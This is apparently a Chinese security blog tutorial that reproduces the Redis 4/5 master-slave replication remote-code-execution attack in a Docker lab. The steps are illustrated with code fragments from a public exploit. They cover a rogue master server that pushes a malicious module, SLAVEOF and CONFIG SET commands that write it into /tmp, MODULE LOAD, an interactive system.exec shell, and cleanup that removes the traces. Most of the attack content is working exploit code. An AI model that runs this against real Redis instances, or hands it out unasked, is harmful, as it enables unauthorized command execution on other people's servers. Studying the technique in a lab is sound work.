0x00 概述
redis常见利用未授权访问漏洞,参考redis未授权访问漏洞利用
现在还可以利用redis的主从特性进行RCE,详情参考ppt
影响redis4和5。
0x01 重现
环境:
受害机:
docker run –name redis5-alpine -d -v $PWD:/data –restart=always -p 6379:6379 hareemca123/redis5:alpine
或者
docker run –name redis4-6379 -p 6379:6379 -d redis:4.0
攻击机:
利用脚本
https://github.com/jas502n/Redis-RCE
0x02 原理
主从握手机制见下图
//此图源自网络
攻击大概流程:
- 创建一个恶意的redis服务器master,用来发送执行命令的module(exp_lin.so)
关键代码:
def handle(self, data): resp = "" phase = 0 if data.find("PING") > -1: resp = "+PONG" + CLRF phase = 1 elif data.find("REPLCONF") > -1: resp = "+OK" + CLRF phase = 2 elif data.find("PSYNC") > -1 or data.find("SYNC") > -1: resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase
2. 在受害redis上将恶意redis设置为master:SLAVEOF vps port。
关键代码:
print("[*] Sending SLAVEOF command to server") remote.do("SLAVEOF {} {}".format(lhost, lport)) back = remote._sock.getsockname() print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1]))
3. 在受害redis设置dbfilename和dir。
关键代码:
print("[*] Setting filename") remote.do("CONFIG SET dir /tmp/") remote.do("CONFIG SET dbfilename {}".format(expfile))
4. 通过同步将module写入受害redis磁盘上:+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>
关键代码:
class RogueServer: def __init__(self, lhost, lport): self._host = lhost self._port = lport self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._sock.bind((self._host, self._port)) self._sock.listen(10) def handle(self, data): resp = "" phase = 0 if data.find("PING") > -1: resp = "+PONG" + CLRF phase = 1 elif data.find("REPLCONF") > -1: resp = "+OK" + CLRF phase = 2 elif data.find("PSYNC") > -1 or data.find("SYNC") > -1: resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() phase = 3 return resp, phase def close(self): self._sock.close() def exp(self): try: cli, addr = self._sock.accept() back = self._sock.getsockname() print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1])) self._sock.settimeout(10) while True: data = din(cli, 1024) if len(data) == 0: break resp, phase = self.handle(data) dout(cli, resp) if phase == 3: break except Exception as e: print("\033[1;31;m[-]\033[0m Time out, Please check your local address.") exit()
def dout(sock, msg): if type(msg) != bytes: msg = msg.encode() sock.send(msg) if verbose: if sys.version_info < (3, 0): msg = repr(msg) if len(msg) < 300: print("\033[1;32;40m[<-]\033[0m {}".format(msg)) else: print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))
5. 在受害redis上加载模块: MODULE LOAD /tmp/exp_lin.so
关键代码:
remote.do("MODULE LOAD /tmp/{}".format(expfile)) remote.do("SLAVEOF NO ONE") print("[*] Closing rogue server...") rogue.close()
6. 利用system.exec进行命令执行
关键代码:
def interact(remote): print("\033[92m[+]\033[0m Received backconnect, use exit to exit...") try: while True: cmd = input("$ ") cmd = cmd.strip() if cmd == "exit": return r = remote.shell_cmd(cmd) for l in decode_shell_result(r).split("\n"): if l: print(l) except KeyboardInterrupt: return
def shell_cmd(self, cmd): self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)])) buf = self.recv() return buf
7. 卸载module。
关键代码:
# clean up print("[*] Clean up..") remote.do("CONFIG SET dbfilename dump.rdb") remote.shell_cmd("rm /tmp/{}".format(expfile)) remote.do("MODULE UNLOAD system") remote.close()
0x03 其他
还有两个脚本,原理都一样,对redis4利用成功。
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce
0x04 注意点
1.remote.do(“CONFIG SET dir /tmp/”)
remote.do(“CONFIG SET dbfilename {}”.format(expfile))
#remote.do(“SAVE”)
可能有些情况需要save一下。
2. 模块的兼容性问题,类似mysql udf,可能需要特定版本。
可自行编译so文件: https://github.com/RicterZ/RedisModules-ExecuteCommand
0x05 结语
还不错的技巧。
0x06 参考资料
https://www.cnblogs.com/iamstudy/articles/redis_load_module_rce.html
https://xz.aliyun.com/t/5616